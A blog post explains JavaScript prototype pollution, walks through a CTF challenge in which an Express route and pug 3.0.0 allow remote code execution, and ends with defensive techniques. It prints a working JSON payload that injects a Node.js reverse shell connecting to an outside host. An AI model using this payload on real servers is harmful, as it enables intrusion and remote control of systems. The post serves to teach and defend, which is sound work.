Skip to main content

What is JavaScript Prototype Pollution?

· 12 min read
JackSkelt
Computer Science Student

JavaScript is a language full of peculiarities, and one of them is its system of prototypes. While this feature brings a lot of flexibility to the language, it can also open up breaches for attacks.

I recently took part in the Boitatech CTF where I encountered a challenge involving prototype pollution, which is also known as prototype poisoning. This motivated me to share a little about how this vulnerability works and why we should be concerned about it. We'll explore everything from the basic concepts of prototypes in JavaScript to how they can be exploited, using a CTF challenge as a practical example.

Understanding Objects and Prototype in JavaScript

Objects in JavaScript are ways of organising and grouping data and related functionality. They are like "boxes" where you can store information, called properties (such as name and age), and actions, called methods (such as a present function).

let person = {
name: "Adalberto",
age: 38,
present() {
return `Hello, I am ${this.name}!`;
},
};

person.present();

You can go to your browser console and create any object (I'll use the previous example) and put the name of the object followed by a dot, for example person.. It will show you a list of various properties and methods, including the ones you declared and others that are auxiliary. You can try accessing some of them, for example the toString method.

person.toString(); // [object Object]

But where do these properties and methods come from?

Every object in JavaScript has pre-established properties, which are obtained by what we call a prototype. The Prototype is JavaScript's way of sharing one object's implementation in another, basically the heritage of object-orientated programming.

The prototype itself is an object, which also has its own prototype, and this is what we call the prototype chain, or chain of prototypes, which ends when a prototype has null in its prototype.

Object.getPrototypeOf({}); // Object { ... }
Object.getPrototypeOf([]); // Array []
Object.getPrototypeOf("teste"); // String { "" }
Object.getPrototypeOf(100); // Number { 0 }

When we use the toString method on the person object, what the JavaScript interpreter does is search if the method exists on the current object (person), if it doesn't, it searches its prototype. If it doesn't, it searches the prototype of the prototype (Object), and so on until the prototype is null.

You can modify prototypes (but you shouldn't)

You can access the prototype of any object in JavaScript using the Object.getPropertyOf(), described above, or also using the __proto__ property. We can also call global classes such as Array, Object, String, etc, and use the prototype property.

With this, we can add or override existing methods and properties, such as adding the last method to the Array class to return the last element.

Array.prototype.last = function () {
return this[this.length - 1];
};

[1, 2, 3, 4, 5].last(); // 5

But you shouldn't do this, no matter how tempting it is because it seems more intuitive or easier than importing a function.

By modifying a prototype, you could be causing conflicts with implementations of other libraries that do the same and end up breaking a certain functionality because your implementation doesn't do exactly the same thing as the library's implementation.

Also, imagine that method you created and needed so much has finally been implemented in the next version of the library, and now you no longer need the prototype you created, you go there to delete it and you get several errors. Or if you use it in a library that other people use, it can be even worse...

// ❌
Array.prototype.last = function () {
return this[this.length - 1];
};

[(1, 2, 3, 4, 5)].last(); // 5

// ✅
function getLast(arr) {
return arr[arr.length - 1];
}

getLast([1, 2, 3, 4, 5]); // 5

Prototype Pollution/Poisoning

Prototype pollution is a JavaScript security vulnerability that occurs when an attacker manages to inject malicious properties or methods into the prototype of native objects.

As explained earlier, you can change the prototype of any structure in JavaScript, and depending on how the objects are manipulated, this can open the door to this type of attack, leading to exploits such as RCE, where the attacker can execute malicious code on the server.

This vulnerability is particularly dangerous because it can affect not only the object being manipulated, but all objects that share the same prototype. Imagine a virus that, when it infects a prototype, contaminates all the objects that use it as a base.

Client-side and Server-side

There are two contexts in which this attack fits: on the user side (Client-side), i.e. in the browser, and on the server side (Server-side).

Browser-side

In the browser environment, prototype pollution usually occurs when manipulating data from external sources. When a user interacts with the application, whether through forms, URL parameters or even locally stored data, there is a possibility that information will be injected and end up modifying the prototype of JavaScript objects.

Think of an application that receives data from an API and uses that data to build the user interface. If an attacker manages to manipulate this response and include properties that affect the prototype, they could change the default behaviour of objects throughout the application, characterising XSS, which could lead to the theft of sensitive user data.

Server-side

On the server side, the situation becomes significantly more critical. Servers generally have privileged access to system resources and sensitive data, making a successful attack much more dangerous. When we talk about prototype pollution on the backend, we're usually dealing with frameworks and libraries that manipulate data received from the client.

A common case is when the server receives a JSON and needs to perform operations such as merging objects or processing templates. If these operations are not carried out safely, an attacker can inject properties that modify the prototype of JavaScript objects on the server.

Popular libraries such as Lodash and frameworks such as Express.js already had vulnerabilities related to prototype pollution. In the case of Lodash, for example, some old versions of the merge function allowed malicious objects to be merged in an insecure way, making it possible to modify prototypes CVE-2018-16487. In Express.js, improper manipulation of query strings could lead to similar scenarios.

CTF Challenge

For the vulnerability example, I'm going to use the Osen challenge from the 2024 Boitatech CTF, which I attended. It's a bit long, so to summarise, I'll focus more on the part where prototype pollution is used on the server-side.

router.post("/api/submit_players", (req, res) => {
const players = ["player1", "player2", "player3"];
const order = {};

players.forEach((player) => {
order[player] = {};
});

const data = req.body;

Object.keys(data).forEach((player) => {
Object.keys(data[player]).forEach((name) => {
order[player][name] = data[player][name];
});
});

if (
data.player1 &&
data.player1.includes("vsm") &&
data.player2 &&
data.player2.includes("gankd") &&
data.player3 &&
data.player3.includes("zetsu")
) {
return res.json({
response: pug.compile(
"span Hello #{user}, thank you for letting us know!"
)({ user: "guest" }),
});
} else {
return res.json({
response: "Please provide us with the full name of an existing player.",
});
}
});

Explaining the code

The code is from an Express.js route that receives a request of type POST in the path /api/submit_players. What you can see is that it receives 3 players in the player1,player2 and player3 fields, and then checks the names, if player1 includes "vsm", player2 includes "gankd" and player3 includes "zetsu". If all the players exist, then it returns a success with a Hello guest, thank you for letting us know!.

Analysing a little further, we see that the code initialises the order object and then initialises empty objects for each of the players, obtaining:

{
"player1": {},
"player2": {},
"player3": {}
}

Then the code uses the body of the request to iterate over the keys, then iterates again, only with the value of those keys, and then makes the assignments in the order.

const data = req.body;

Object.keys(data).forEach((player) => {
Object.keys(data[player]).forEach((name) => {
order[player][name] = data[player][name];
});
});

And the result in the order will look like this:

{
"player1": {
"0": "v",
"1": "s",
"2": "m"
}
//...
}

By default, express uses body-parser to deserialise JSON, and this one uses JSON.parse. This method is secure in the sense that it won't directly alter any prototype (you can check at https://github.com/hapijs/hapi/issues/3916 and run your own tests). In this case, the __proto__ key sent would be deserialised as an ordinary property of an object and could be accessed normally. However, the problem arises when you perform subsequent manipulations, such as a shallow copy using Object.assign() or other copy methods, like the one this script is running. This is when prototype pollution happens.

AST Prototype Pollution

The second interesting part of the code is this:

return res.json({
response: pug.compile("span Hello #{user}, thank you for letting us know!")({
user: "guest",
}),
});

This is using pug (formerly known as jade), a template engine for rendering HTML on the server side, and the version used is 3.0.0, which is vulnerable to a prototype pollution attack in the AST, where we can cause a RCE. I used a reverse shell to access the machine, and the body of the request was as follows:

{
"player1": "vsm",
"player2": "gankd",
"player3": "zetsu",
"__proto__": {
"block": {
"type": "text",
"line": "(function(){var net = process.mainmodule.require('net'),cp = process.mainmodule.require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.socket();client.connect(41409, '<URL>', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()"
}
}
}
info

At the time I'm writing this post, version 3.0.3 of pug has been released with a patch for this vulnerability: https://github.com/pugjs/pug/pull/3438

If you want to know more about the vulnerability, see: https://github.com/pugjs/pug/issues/3414

How to protect your prototype

What makes prototype pollution dangerous is that it can go unnoticed in code analyses, since it uses JavaScript features. A developer may not realise that a simple object merge operation can open a breach for an attack if not implemented correctly (and many don't even know about shallow copy).

Sanitise your objects

To protect yourself, there are several strategies you can adopt. The most obvious would be to sanitise object properties before performing a merge operation, for example, thus preventing an attacker from injecting keys such as __proto__. @hapi/boune is a library that replaces JSON.parse() with protection against prototype pollution.

Object.freeze & Object.seal

A more robust approach is to completely prevent prototype objects from being altered. JavaScript offers us two methods for this:

// Freezes the object, preventing changes to properties and their values
Object.freeze(Object.prototype);

// Similar to freeze, but allows you to change existing property values
Object.seal(Object.prototype);

Object.create(null)

Another interesting strategy is to create objects that don't inherit properties. By default, every object in JavaScript inherits from Object.prototype directly or indirectly via the prototype chain. However, we can create objects with a null prototype:

let secureObject = Object.create(null);

Map & Set

We can also use safer alternatives such as Map and Set, which are not affected by prototype pollution when searching for a property. For example, when using a Map:

Object.prototype.admin = true;
let options = new Map();
options.set("user", "JackSkelt");

console.log(options.admin); // true
console.log(options.get("admin")); // undefined
console.log(options.get("user")); // "JackSkelt"
warning

Be careful, though. This prevents you from directly accessing the properties when using the get method, but it doesn't prevent the prototype from still being polluted.

Comments